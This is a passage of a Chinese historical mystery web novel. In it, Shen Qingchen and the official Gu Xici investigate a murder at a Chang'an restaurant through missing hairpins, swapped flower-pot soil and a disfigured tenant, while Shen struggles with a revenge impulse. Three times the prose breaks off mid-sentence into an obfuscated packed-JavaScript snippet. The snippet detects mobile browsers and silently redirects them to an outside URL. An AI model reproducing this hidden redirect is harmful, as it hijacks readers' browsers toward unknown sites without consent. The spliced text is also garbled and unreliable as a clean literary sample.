“二姑娘每日都会在辰时初刻向夫人问安,奴婢记得,二姑娘也是在那时告知要去买桃花糕的,买桃花糕要趁早,该是那时便出了门吧!”王嬷嬷皱着眉回忆,心里也不大确定姑娘是不是那时就出了门。 沈卿尘心中的疑虑越发重了。 方才小二说过,徐雨彤是在午时初刻到的酒楼,若她当真如王嬷嬷所言那般辰时初刻便出了门,这中间的一个半时辰她去了何处,见了什么人,又做了什么事? “嬷嬷,你再仔细想想,二姑娘这些时日当真没有任何异常之处?便是极小极小的事也是好的。” 王嬷嬷看一眼自家夫人,皱眉道:“平日里姑娘只待在自己院子里,若说异常处该问她的贴身婢女杏香,今日也是杏香陪她出来的,怎么不见那丫头去了何处?” “杏香在徐雨彤进酒楼前就被打发出去了,眼下还未寻到踪迹。”顾西辞在边上插了一句。 “这丫头莫不是又去哪里躲懒偷吃了。”王嬷嬷气愤道。 “杏香经常躲懒偷吃?”沈卿尘连忙追问。 王嬷嬷尴尬扯了扯嘴角:“倒也不是经常,不过这丫头好吃是真,就在上个月半夜里,夫人晚上胃口不好没用晚饭,到了夜里忽然想吃酸食,奴婢便去厨房寻找,恰好遇到杏香在偷吃,问她还说是姑娘要吃的,奴婢分明看到她嘴角粘了糕点的碎屑,若非第二日姑娘说的确是她想要吃的,这顿打定然是少不了的。” 丫鬟奴仆在主家偷吃的确是坏了规矩,但也并非大错,责备一番便也算了,可沈卿尘观这王嬷嬷的面相与说话时咬牙切齿,满目憎恨的表情,想来常日里便是个严苛不好相与的。 她复又问道:“只有这一次吗?” 王嬷嬷点头:“只抓到那一次,但一次当百次,平日里定然是没有抓到,眼下姑娘出了事,这么好半天了,她竟是不见踪影,定是在哪里躲懒。” 沈卿尘并未在此事上与她过多纠缠,眼下杏香不见踪迹,自是无法询问,只得暂且将希望寄托在这两位身上,便又提醒她多想想。 王嬷嬷回忆良久,最后还是无奈摇头。 问不出更多线索,沈卿尘便想去别处看看,一直没出声的叶氏却是突然道:“要说不寻常处,我倒是想到一处。” 沈卿尘和顾西辞立时便望向她。 “今早彤儿向我请安时,我瞧见她发髻上多了支玉簪,那玉簪莹白剔透,成色极好,断然不是我们能够买的起的,便是能买的起也不会买,且她今日还穿上我今年给她裁的新衣,往日里叫她穿,她都是舍不得的。” 叶氏转头看向边上的尸体,却皱起眉头,往前两步凑近尸体,低呼:“不见了,那支簪子不见了。” 沈卿尘立刻上前查看,果真瞧见徐雨彤发髻上少了发饰。 “夫人可还记得那发簪的具体样式?” 叶氏回想一下道:“样式倒是极为常见的,只是上面通体刻着繁复的玉兰花纹,倒也十分少见。” 戴了发饰,又做了刻意打扮,如此便越发说明徐雨彤是有情郎且今日要见的人也定然是这位情郎。 如今看来,这情郎有极大可能便是杀害徐雨彤的凶手。 叶氏和王嬷嬷大约也是想到了这个可能,两人的脸色俱是十分难看,但看她们的样子,该是当真不知道徐雨彤有情郎这件事。 此时,叶氏忽然朝着顾西辞跪下去,顾西辞后退一步侧身避开,却听叶氏哽咽道:“顾大人,您也知道女儿家名誉大过一切,如今彤儿已经死了,还请顾大人可怜可怜她,保全她死后名声。” 沈卿尘看向顾西辞。 若是少时的他,必定是会尽全力保全姑娘声誉,不知他如今的性子会如何处理。 “大人,不好了。” 不待顾西辞回答,楼下忽然传来那小二着急忙慌的声音,接着便看见他利落且快速的爬上三楼,冬日里竟是跑的满脸细汗。 王嬷嬷搀扶着叶氏起身,两人抹着眼泪站在一旁。 “何事?”顾西辞声音冷硬不见丝毫温度。 “那、那盆花不见了。” 此话一出,沈卿尘与顾西辞皆是蹙起眉头。 顾西辞面色沉冷:“具体说来。” 小二抹了把汗,喘息着道:“小人的爹是花匠,平日里便是负责给酒楼里栽花,送花的,往日里若是有枯萎死掉的花,他就会尽快换新土,栽培新的花植。但昨日我爹他去寻新的花种了,今日还未曾回来,那盆花便放在后院花房中,可小人方才去找寻了许久,却是不见了。” “走,去看看。” 顾西辞先一步走在前面,他身高腿长,迈出一步是常人的两步,不过几步便将沈卿尘甩在身后,倒是六子一路小跑跟在他身边。 醉仙居后院十分宽敞,南北两面是两栋两层高的小楼,西面则是一排一层高的排房,六子将他们带到西北角一间占地面积极小的屋子前,边开门边说道。 “这里原是我爹看管的,他不在,便将钥匙交给我看管,因为里面都是些花草,平日里也不会刻意锁门,方才小人也是怕再出什么差错,便将这门给锁了起来。” 话音落,他已是将门打开,迎面便是一股潮湿的泥土混合着各种花香的气味,不难闻却也不好闻。 屋内除进门的方向,其余三面皆摆放花架,每一个花架都有五层高,皆是摆放的满满当当,便是连地上都摆满花盆,中间只留足够一人站立的小道,她与顾西辞只得前后站在屋内。 各色花开的正盛,虽品种不一,但看得出养花人是个极为爱花的,每一盆都养护的极好,沈卿尘对花并未研究,除了梅花外别的花大都不认识。 “我爹虽是个不识字的粗人,但他极爱花,对花的爱护远超我与我娘,我年幼时候他们还常因此事吵架。”六子面上有自豪的自嘲之意,“我爹昨日不在,那盆枯死的蝴蝶兰我便放在了此处,如今却是不见了,我在周围仔仔细细找过一圈,都没找到,也问过我娘,我爹还未回来。” 六子的意思便是说不存在他爹回来将花盆取走的情况,如此那盆花的丢失就只可能是凶手取走的。 她低头看向地面,地上的确有花盘放置的痕迹,但痕迹众多,并不能算有效线索。 可凶手是如何取走那盆蝴蝶兰的? 沈卿尘想到的问题,顾西辞该是也想到了,只见他一声不响的走出花房,站在外面院中观察周围。 六子连忙跟出来,顾西辞问道:“这两座小楼是做什么用的?” “以前酒楼生意不好,便用来租赁出去,这几年生意好了,便闲置了,但每年科考时,还是会租赁给来科考的学子,我们这酒楼里的大部分诗词都是这些学子提的。说起来,那位都水长也曾在我们楼里提过诗。” 顾西辞转头看他,沉声道:“他当年来科考时住在此处?” “是的,小人也是偶然听我爹说起过,他毕竟是当年科考的三甲进士。”六子心中得意,自己的爹虽没什么大本事,但好歹也曾经和进士做过朋友。 沈卿尘并不知当年的事,但听他们所言也大致猜到,徐雨彤的父亲曾是进士,并且当年科考时就租住在这后院里,因此结识了六子的爹。 这院子内设回廊,绕着院子围一圈,无论是两侧小楼亦或是排房都要通过回廊,天井中则是一片人工湖,湖内设假山,游鱼花草俱全,景色也是极佳。 沈卿尘上了回廊,沿着回廊往南走,身后传来六子向顾西辞回话的声音:“因我与爹娘在酒楼的杂事较多,为着方便省时我们便住在这排房里。” “除你们之外,可还有旁人居住?包括租赁的客人。”顾西辞继续问。 “还有个叫段璋的杂工,是个孤儿,长的白白净净的,就是不爱说话,时常一个人待着。他这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457452|169580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会儿……该是在后厨帮忙。” 顾西辞点点头,转头瞧见沈卿尘一人站在西南角不知在看什么,他迈开腿走过去,却瞧见她盯着西南角外墙处的角门发怔。 六子是个有眼力见的,瞧见后立刻说:“这便是我们酒楼的后门了,只有这一处角门,平时我们多从此处角门外出。” “这角门平时可是锁上的?” “是的,钥匙只有小人和段璋有。” 沈卿尘蹙眉,听六子描述,段璋只是个不起眼的杂工,在酒楼该是地位极低的,如钥匙这般重要之物,原是不该交给他保管的,便问出了自己的疑惑。 “钥匙为何会给段璋保管?” “段璋是杂工,要倒泔水,收泔水的是每日卯时来,那时酒楼尚未开门,角门自然也是锁着的,只能将钥匙交予他,段璋平日里虽不爱说话,却是个勤恳的,常日里别人忙不开需要他帮忙,他也是极为乐意的,在酒楼里人缘也是很好的。” 沈卿尘点点头,看得出来六子与这个段璋关系也是不错。 “去把他叫来。”顾西辞面无表情,声线冷硬。 沈卿尘瞧他一眼,觉得如今的他就如那会说话却没有感情的石人一般,也怪不得会传出绝情的名声来。 “是,小人这就去。”六子小跑着离开。 没了六子说话,一时之间周围安静的针落可闻,只听得身后湖中游鱼偶尔翻腾出水面的哗啦声。 与他单独待在一处,沈卿尘只觉心底沉闷压抑,恨意上涌。 一阵寒风吹过,方才已停下的雪花又落了下来,不似先前那样细小的雪粒子,而是纷纷扬扬的鹅毛大雪。 落雪无声,沈卿尘的呼吸却忽而急促,藏在袖中的手指不由攥紧。 眼前地面覆盖的白雪忽然一寸寸被血色侵染,如大片盛开的曼珠沙华,耳边响起母亲哽在喉间压抑悲痛的哭声,周遭是百姓嘈杂纷乱,替父喊冤求情的声音。 踏碎积雪,由远而近的“哒哒”马蹄声连带着高呼“陛下有令,沈国公通敌叛国,罪无可恕,斩立决”的声音更似利箭般刺入沈卿尘耳膜。 父兄被斩,母亲死于流放途中,而这一切全都是因为顾西辞! 心念紊乱,沈卿尘的呼吸越发不稳。 眼前,顾西辞挺拔的背影慢慢与八年前那漆黑深夜中的背影重合,少年人特有的清朗声音一如今日这般冰冷生硬。 “你父亲通敌叛国的罪证乃我所寻,证据确凿,你无需多言。” 那样冰冷决绝的话语穿透沈卿尘心腔,比任何一柄利箭都要来的残忍。 少年清朗的声音与青年磁性的声音慢慢重叠,最后成为眼前人挺拔的背脊,而她的恨意忽然如滔天巨浪般挤满胸腔,几欲喷涌而出。 她此次回长安的目的,一是寻找当年诬陷父亲的人,替父翻案;二,便是为了杀顾西辞。 此时,正是机会。 沈卿尘抬眸盯着顾西辞背影,袖中匕首滑落掌心,只要将匕首狠狠刺入他的背心,他必死无疑。 长夏上前一步,手臂忽然被抓住,小声劝说:“姑娘,不可。” 感觉到身边异样,顾西辞缓缓转过身,冷冽的目光直直射向她,却见她正低头看湖里畅游的鱼儿。 他微微蹙眉,听到身后传来脚步声时,略显疑惑的表情转瞬即逝。 六子依旧一路小跑,而身后跟着的青年则脚步舒缓,不疾不徐。 “大人,段璋到了。” 顾西辞注意力被吸引,沈卿尘眼中的恨意慢慢消散。 长夏压低声音道:“姑娘,自打见了这顾西辞后,你已经两次被扰乱心智了,如今我们刚回长安,且不说现在能不能杀了他,便是真的杀了,那其他仇人该怎么办?奴婢记得姑娘说过,当年的顾西辞也不过十三岁,若非有旁人相助,他如何一人便能做到诬陷沈国公?姑娘切莫冲动,眼下先生不在此处,一旦你走火入魔,必然要没命的!” 这些,沈卿尘又何尝不知,可面对顾西辞,她实在心绪难平。 说起来,她已经好几年没有这样难以遏制心中仇恨了。 言语间,那缓步而来的段璋终于走到了,微微躬身行礼:“小人段璋,见过大人。” 沈卿尘心念一动,只觉得这个声音有些耳熟,好似在哪里听过。 5. 毁容的姑娘 男人约二十出头的年岁,面容清俊,一双亮如星辰的眸子里填着平静与淡漠,身上的靛蓝粗布麻衣短打,也遮不住他身上透出的儒雅书生气。 这样的人本不该出现在此处,更不该在这酒楼做杂役。 顾西辞眉心微蹙,微微歪了下头,似是也有疑惑,但也转瞬即逝,语气依旧冷硬:“今日巳时到午时正,你在何处?” 段璋低眉顺目道:“今日客满,小人一直在厨房帮忙。” 厨房人多眼杂,人证倒是齐全。 顾西辞扫一眼厨房方向继续问:“期间可有离开过?” “有,客多,剩下的饭菜便多,小人期间数次出门倒泔水。” 长夏皱眉疑惑道:“不是说收泔水的每日卯时才会来?” 这不是把嫌疑往自己身上扯吗?六子听着他的回答,很是无奈,连忙笑着道:“确实这样,酒楼泔水多,便在厨房外多备置了几个泔水桶,一次倾倒也不需要太长时间。” 顾西辞沉默不语,短暂的两吸后,忽然便迈起长腿沿着长廊往厨房方向去。 为着上菜方便迅速,厨房设在主楼一楼的西南角,在楼后面有扇可供二人并行而站的后门。 沈卿尘跟着顾西辞站在门口,扑面而来的热浪夹着饭菜香味与汗味钻进鼻腔,她转头看顾西辞,见他面色平静,丝毫没有嫌弃之意,心中也是诧异。 自打懂事起,沈卿尘便记得他有十分严重的洁癖,尤为不允许自己身上有一丝汗味,便是身边服侍他的下人也是必须每日沐浴更衣,若出了汗便要及时清洗。 厨房内异常忙碌,他们的出现并未引起多少注意,顾西辞踏入门内,询问他们每个人在巳时到午时之间的行踪,他们的口径十分统一,皆是说今日客满,他们忙碌的连上茅房的时间都没有,也都纷纷证明段璋一整个上午都在帮忙。 这么一圈问下来,竟是没有人看到是谁曾经进过这后院,又是谁偷走了那盆枯死的蝴蝶兰。 没有有用线索,他们也未多停留,临走之时,沈卿尘忽然问六子:“这里所用的花盆可都是一样的?” “对,都是一样的,花纹、大小都一样。”六子连忙回答。 沈卿尘点点头,在心里暗暗记下。 此时,雪更大了,飘飘扬扬竟是迷了视线,沈卿尘微微眯眼,拢了拢斗篷将自己裹的更严实些往楼里走去。 一朵雪花落在她纤长卷翘的睫毛上,只片刻又化为一点水,微微有些凉意,她抬手擦了擦,宽袖滑落,露出一截皓白手腕,腕骨极细,仿若轻轻一折,便会断掉。 此时,走在前方两三步远的顾西辞恰好回过头,目光被那一截白到反光的手腕吸引,同时还有一道紫色的光刺地他眼角微微一抽后,立刻滑入那宽大的衣袖中消失不见。 “若无其它事,姑娘便回去吧。”顾西辞面色冷淡的看着她,漆黑深邃的眼瞳里不见丝毫情绪,“若调查需要,还请姑娘配合。” 沈卿尘紧抿唇角,眼底闪着怒火,这人分明是未将那个赌约放在心上,亦或者,他打心眼儿里觉得,她不可能查出凶手。 “自然。”她轻声道,“大人莫不是忘了我们的赌约?” 她不可能放弃进入大理寺,无论他是不相信还是忘了,她都可以提醒他。 顾西辞直直望着她,目光比外面的风雪还要冰冷:“你,不可能入大理寺。” 话毕,他不再给沈卿尘说话的机会,大跨步而去。 沈卿尘突然觉得,或许他一直都是这样冷漠的人,儿时的温柔、体贴都是假的,她只是从未看清过他罢了。 跟在顾西辞身边的衙差走到她面前,微微躬身客气询问:“姑娘,若有需要,我们该去何处请您?” “初入长安,尚未寻到住处,若有需要,便来此处吧!”沈卿尘淡笑地说。 衙差微微点头后转身快步去追前面的顾西辞。 待那衙差走远,长夏往前一步站在沈卿尘身侧,低声道:“姑娘,那顾西辞如此决绝果断,眼下,我们该怎么做?” “不急,先查了此案再说。” “姑娘可是有了推断?”长夏跟在沈卿尘身边并非一日两日,知她查案与旁人不同,向来以直觉为准,且每次都极为准确,一次两次尚可说是巧合,次数多了,便是想让人不信都难。 沈卿尘点头:“此案看似复杂,毫无线索,便是连凶手都好似不曾出现过一般,但其实并不难,只因为……凶手使用了某种障眼法。” “障眼法?”长夏蹙眉,并不明白其中道理。 “凶手是人,便不可能凭空出现,行凶后又凭空消失,酒楼内定然有人注意到,只是太过寻常,并未引起怀疑罢了。” 酒楼内人多眼杂,凶手却敢明目张胆在此杀人,定然是用了自以为别人无所看透的障眼法,可只要是杀人,便会留下痕迹,若没有找到痕迹,定然是他们不够仔细。 长夏正欲再问,却见六子忽从后院匆忙跑来,瞧见她们二人站在廊下,立刻询问:“顾大人呢?” “走了。”沈卿尘见他面色着急,该是又想到了什么,便问道,“可是又想到了什么?” 六子连忙点头:“小人也不知此事是否与案子有关,但觉得还是告知大人一声为好。” “何事?” “姑娘也是知道的,我们酒楼如今鲜少租赁后院这些房舍的,前些时日有位姑娘来此,原以为是要住店,没成想那姑娘却是要租赁,掌柜原是不同意的,但耐不住那姑娘苦苦哀求,便也就租给了她。” 沈卿尘蹙眉:“既是不再租赁,又为何因那姑娘苦苦哀求便又坏了规矩?” 六子叹口气,脸上浮现怜悯之色:“掌柜是看那姑娘可怜才同意租赁的。” “可怜?” “那姑娘生了病,全身长满浓疮,便是连容貌也毁了,来长安是为了寻医,住了月余,寻遍长安城名医,竟是也没能找到可以治疗的法子,便在前日退房走了。” 沈卿尘微微点头,尚不能确定这姑娘是否与本案有关:“那姑娘先前住在哪间房,可否带我去看看?” “姑娘。”长夏满脸着急的叫住她,“我们尚不知那位姑娘得的是何病症,若是会传染的病症,染给了姑娘可就不好了。” 想到那病症会使人满身长满脓包,面目全非,长夏就觉得不寒而栗,容貌对于一个姑娘而言太重要了,姑娘又未出阁,为了个案子,毁了容貌,当真不值得。 “无妨。”沈卿尘微微摇头,“若当真会传染,小二哥该是最早被传染的,带我去看看,若是可以,我也想在此租住些时日。” 六子满脸堆笑,立刻在前引路:“若姑娘不嫌弃,自然是可以的。” 如今酒楼出了人命官司,在未查清之前是断然不能开门待客的了,这几年酒楼的生意好不容好起来,他们这些做工的也都跟着涨了工钱,自是希望酒楼可以一直生意火爆,虽然那顾大人擅长查案,但多一个人查,便能早一日查出凶手,恢复生意。 想来,掌柜也不会反对。 六子带着她们二人沿着回廊到北面的二层小楼,此楼似是才翻新过,离的近了还能闻到极淡的油漆味,一层有五间房间,此时皆是门窗紧闭。 那姑娘租住的房间是靠近西面的最后一间,六子说她要每日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457453|169580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出去寻医,走前门不方便,便选了距离角门最近的房间。 推开房门,一股油漆味迎面扑来,沈卿尘微微蹙眉,虽说味道极淡,但油漆也是有毒的,长期住对身体还是有害。 见沈卿尘蹙眉,六子连忙解释:“这屋子半年前翻新过,期间也是散了好长时间味道,也不知为何还未散尽,姑娘不若还是去前方五楼六楼居住的好。” 见六子面露担忧,沈卿尘微微摇头,抬脚往门里进:“无妨,我先看看。” 房间不大,陈设亦是清简,进门左侧是多宝阁隔断,上置古玩、玉器等物,自门洞往内可瞧见挂了纱帐,铺陈梅花纹样锦褥的架子床,床头放面盆架,床尾则是衣桁和衣柜,右侧最里靠墙则是一面书架,窗下是书案与官帽椅,边上又有一高几,其上放置梅花盆栽。 这花盆式样与沈卿尘先前所见皆是一样。 倒是未见异常。 六子见她四下看,以为她是忧心屋内是否干净,便上前道:“姑娘放心,那客人离开后,小人曾用艾草在这屋内角角落落熏过,该是不会有问题的。” 沈卿尘点头:“那便是这间了。” “哎,好嘞!”六子转身欲走,沈卿尘忽又想到什么,叫住他道,“那姑娘在此住期间可有发生不寻常之事?” 六子拧眉回忆,沈卿尘小声提醒:“便是极小之事也不可遗漏。” “说起来,她虽在这里住,但小人见的次数却是极少极少,也只在傍晚时候见过几次,小人也曾问过段璋,便是连他也都极少见到,大概是因为姑娘家重视容貌,不愿见人吧。”六子也是一脸惋惜模样。 “那你可曾见过她容貌?” 六子摇头:“并未见过。” “那你又如何知晓她容貌毁了?”长夏先一步问道。 “是那位姑娘自己说的。”六子又想了想道,“旁的倒记不起什么了,小人回去再仔细想想。” 沈卿尘点头,待六子走后,长夏转身关了房门,边放了包袱边道:“姑娘为何要住在这间房,可是怀疑那姑娘与这案子有关?” “尚不能确定。”沈卿尘眉心微蹙,她心中始终觉得此案并不如表面看到的那般复杂,关键线索便在那情夫身上。 她踱步到书案前坐下,透过半开的窗扇,恰能瞧见院中湖泊,此时已是申时,外头雪停了,前头也再听不见人声,院里白雪皑皑的景致虽说不上多美,瞧着却也让人心平气和。 沈卿尘的思绪再次回到案子上。 徐雨彤生前怀了身孕,她被杀前不仅被灌下落子汤,连打下的胎儿也被一并带走,沈卿尘猜想,凶手若是那情夫,他这般做的原因兴许是因为与徐雨彤的关系见不得光,可若真是这般,杀了人,封了口便也罢了,为何要带走那胎儿? 若说是为了掩人耳目,又为何要在杀人后不做任何掩盖,反倒那样将尸体丢在桌上,倒像是明目张胆告诉别人,他做了什么。 铺好床铺,长夏转头便瞧见沈卿尘望着窗外发怔,不知在想什么,便走上前轻声道:“姑娘,我们紧赶慢赶地来长安,一路舟车劳顿,奴婢铺好了床铺,您不若先睡一会儿,待醒来脑子清明了再想案子?” 沈卿尘仿若没听到一般,只兀自想着案子,眼下找到那情夫的关键,便在徐雨彤的贴身婢女杏香与徐家大小姐身上。 可她却犯了难,以她的身份,想要调查此案并不容易,若要寻那徐家大小姐,总是要有能让人信服的由头才是。 “长夏。”沈卿尘忽然转头看她,像是完全没听到她先前的话一般吩咐,“你去徐家附近打问打问那徐家大小姐,仔细些,莫要让人生疑。” 6. 薄情郎 长夏自是知道自家姑娘对案子有多痴迷,劝也是劝不住的,得了吩咐便出门去了。 屋子里一时安静下来,沈卿尘一手撑着脸颊,盯着院中,恰好瞧见几个浑身油腻腻的汉子,自厨房方向进了院中,似是高兴,又似不满。 沈卿尘起身出去,听见开门声,几个汉子皆是朝着她望过来,因先前他们都已见过沈卿尘,倒也不意外,只没想到竟会住在此处。 方才的问话是顾西辞问的,她虽在旁听着,并未发觉不妥,但又怕有遗漏,便决定再询问一次,几个汉子自是知道她的来意。 姑娘恰到好处的笑容竟是比满院白雪还要晃眼,如仙女临凡,美到令人呼吸皆是不畅,几人局促不安,脚下的积雪都被踢的露出黑印来,只怕连脑子都要僵住了。 沈卿尘并不着急,只淡淡道:“事关命案,还请各位仔细回忆,可曾遇见过不寻常之事,只若是与常日不同,便是芝麻点小事,也是极为关紧的。” 她声音柔和,令人如沐春风,便是在这寒冷冬日里,竟也叫人生出暖意来。 半响过后,几人依旧茫然,显然并未想到不寻常处。 院中寂静,针落可闻,一丁点声音便显得极为惹耳,角门传来的“吱呀”声顿时便吸引几人注意,只看到一名身体干瘦,怀中却抱着三盆花的老汉挤进门内。 大约也是没料到会在后院忽然看到这么多人,老汉也是一愣,随即便垂下头上了回廊向西南角的花房而去。 “这位贵人,小人们都是厨房忙活的,平日里除了上茅房,鲜少离开厨房,倒真没留意……” 沈卿尘点点头,正要走,忽然瞥见站在最后面的汉子眉头微皱,似是在回忆什么,她方才就注意到那汉子看见老汉时,眸光忽然亮了一下,随即又垂下头,似是犹豫要不要开口的模样。 正欲开口提醒,那汉子抬起头,先开了口:“小人忽然记起一事,只是不知是否和这案子有关。” “但说无妨。” 汉子想了想才道:“大约半个月前,小人出来方便,正好瞧见朱伯抱着盆花在敲那间房门……” 他抬向北面,沈卿尘转身看过去,位置恰好是她住的那间房,转回头便听到他继续道,“贵人眼下住的那间房半个月前住的是另一位姑娘,朱伯该是给她房间换花的。” 听到这里,前头一个膀大腰圆的壮汉嗤笑一声道:“老八,这也没啥子不寻常的,朱叔本就管着那些花,换个花再正常不过。” 此话一出,先前那说话的汉子立时便涨红了脸,越发窘促。 沈卿尘微微一笑,开口替他缓了尴尬:“破案便是要在这些看似寻常的事情里寻找细枝末节的关键,兴许这位大哥今日的话便能为此案提供紧要线索。” “是是,贵人说的极是。”那壮汉面色尴尬。 沈卿尘微微点头示意后转身朝花房去,叫老八的汉子望着她背影的双眸却是透着惊喜的亮光。 边上的大手忽然种种拍在老八肩上:“行了,快别看了,那天仙一样的人可不是我们这样的人能够肖想的。” 老八的脸立刻涨成猪肝色,舌头都有些不听话了:“我、我才没有,没有肖想,我只是觉得……那贵人和旁的贵人不同。” 他们这样身份的人是从来入不得贵人眼的,更别说会为他们说话了。 厨子的对话,沈卿尘自是没听到的,到花房门前,便瞧见方才那老汉正弯腰将一盆盆花摆放在花架上,动作极为轻柔小心,仿若在对待稀世珍宝一般。 于这位花房老人而言,这些花可不就是他的珍宝,如此也瞧得出,他的确如六子所言那般真心爱花。 这样的爱花人是断然不会轻易叫自己养植的花枯萎死掉。 “老伯。” 朱富贵年过花甲,眼不花耳不聋,手脚亦是灵便,听到喊声便转过头来,逆着光有些瞧不清来人面容,只觉门口的姑娘气质清冷出尘,猜测该是某位高官家的小姐,自然是不敢有任何怠慢,正要出门,却见她丝毫不嫌弃到处滚落的泥块,兀自进了门内。 “老伯,酒楼内出了命案,可否问您几个问题?” 朱富贵乍一听到命案,脸色立时僵住,眼珠直愣愣的好半响都没转动一下。 沈卿尘在他面前两步外站定,待他缓缓回过神,方才直截了当询问:“老伯可还记得先前在这院内租住的那位患病姑娘?” “自然是记得的。”不待沈卿尘继续询问,朱富贵继续道,“好些年了,除了那些上京应考的学子,只有那位姑娘在此赁住,半个月前,她屋内的梅花突然枯死,小人还为她换了盆新的。” 沈卿尘要问的正是这些,见他主动提起便追问道:“我瞧老伯养花极为用心,养护的也是极好,那盆花为何会突然枯死?” “小人当时也十分纳闷儿,拿了那盆花才看见里面所用的土壤并非小人常日里用的,养分不够,梅花枯死倒也正常。” 沈卿尘心里一惊,如此说来,是有人换了土壤,可为何要换土壤?是那姑娘所换还是另有其人? 她原觉得那姑娘在命案前一日退房有些巧合,眼下看来兴许并非是巧合,而是刻意为之,不能说那姑娘是凶手,但也并非全然无关。 “那盆花您后来是如何处置的?那土壤又是何处取的?”沈卿尘连问两个问题,眼神略显急切。 朱富贵意识到自己的话可能与那命案有关,便不敢大意,只道了句“稍等”后便弯腰将地上的花盆快速摆放好,随即快步走出花房,不多时又从外面抱来四盆绿植花卉。 待将全部花摆放整齐后,他方才直起身,拍拍手上、身上沾染的泥土灰尘,朝沈卿尘说句“我带你去”便先一步出了门。 跟着朱富贵出花房,沿着侧面一条小道绕至花房后,沈卿尘这才知晓原来这花房后竟还有一片空地,但因是冬日,泥土成了冻土,便没有种植任何绿植花卉,覆了层厚厚的积雪。 靠近围墙边搭了雨棚,雨棚下依旧摆放花架,上面整整齐齐放着梅花盆栽,与花房中的花一样,养的都是极好的。 “那土是在此处挖的。”朱富贵指着花圃一角,沈卿尘望过去,发觉那里的积雪明显比别处要薄上一些,“那日小人换回枯萎的花后直接将花盆带来此处,发觉这里的土有被挖掘的痕迹,那时候没发生命案,小人也就没在意。” 沈卿尘点点头,半个月前谁又能想到半个月后的事呢,何况还是命案。 她没有再多言语,只兀自绕着花圃转了半圈,心中暗自思索,那盆梅花在老伯接手之前就已经换过一次土壤,便是有问题,也该是第一次换的土壤有问题,如今再来寻这些怕也是寻不到有用线索。 换土壤的人会将土壤倒在何处? 朱富贵见贵人不再问话,却也不敢私自离开,干脆蹲下身体,拿了个小耙子将那处积雪挖开,露出一个不大的坑洞来。 望着那坑洞,沈卿尘疑惑询问:“既然老伯发觉泥土是在此处挖的,为何不将泥土重新填埋回去?” 老伯头未抬,只瓮声瓮气道:“既是被挖出去的泥土,便是辗转之后再回来,也再难填满之前的坑洞。” 闻言,沈卿尘心尖猛然一颤,竟有种被戳中痛点的恐惧感,长睫掩映下的眸光里透出些悲戚来。 她紧抿唇角,好半响后方才稳住心神,眸光也再度恢复往日清冷淡漠:“多谢老伯,我眼下便住在先前那姑娘所住屋内,若老伯想起别的紧要事,尽管来寻我。” 朱富贵连忙起身称“是”,待沈卿尘转身走出几步后,他忽又想起什么:“贵人,小人又忽然记起一事。” 沈卿尘转过身,听他道:“那一日小人从那姑娘房中带回梅花时,曾在那花盆内闻到一股极淡的药味混合在泥土中,小人便猜想,兴许是那姑娘嫌药太苦,便将药倒进梅花盆中,而后又怕梅花枯死,担心被发现后赔付,所以才换了新土进去,没成想梅花还是枯死了。” 沈卿尘道谢后便转身往回走,边走边思索。 先前在徐雨彤被杀的房间里,她也曾闻到过药味,而后知晓徐雨彤死前小产,便想着那药味该是落子汤,至于那生病毁容姑娘房中的药味,自然便是治病的药,都是药,功效却不同。 沈卿尘心底生出一抹古怪感。 回到房中,依旧在窗下的书案前坐下,左手托腮,右手细白纤长的手指微微曲起,无意识在桌面轻敲,清亮的眼眸望着窗外雪景,却又什么都未曾落入眼底。 雪花一直在飘,天色愈发昏暗,坐的久了,双腿便有些发麻,沈卿尘微微挪动身体,立刻传来一阵钻心麻痒感,脚下却忽然踩到什么物什,传来轻微碎裂感。 待腿麻感缓解一些,沈卿尘俯身望向桌下,瞧见是一块土粒被她踩碎了,她蹲下身,半边身体钻进桌下,用帕子将那碎土粒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457454|169580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捡拾起来。 因天寒地冻,那碎土粒又冷又硬,她凑近鼻尖嗅了嗅,一股极淡的苦涩味夹着清冷的气息钻入鼻腔,她的眼眸顿时便亮了。 她原还忧心要去何处才能寻到那被倒掉的土壤,如今竟是在此处寻到,倒是省了不少事。 沈卿尘正要起身出门,却瞧见六子端着托盘自厨房出来,一路疾走往这边来,该是给自己送晚饭来的,便起身先开了门。 六子手脚麻利,进门先致歉,说前头被封了,厨子也只留下一个,饭菜只能将就着用,委屈了姑娘云云。 沈卿尘于吃上并不挑,只若能填饱肚子便知足,拿出块碎银给六子做为谢礼,六子满脸愧疚的推辞。 “这当真使不得,让姑娘住在此处已是委屈,姑娘又在帮忙查案,小人怎能再拿姑娘银钱?给姑娘送饭菜本就是小人的差事。” 沈卿尘将碎银放在他面前:“查案并非帮你们,而是帮我自己,我与那顾大人的赌约你也是听到了的,之后查案我还需你的帮助,这就当是对你的谢礼。” 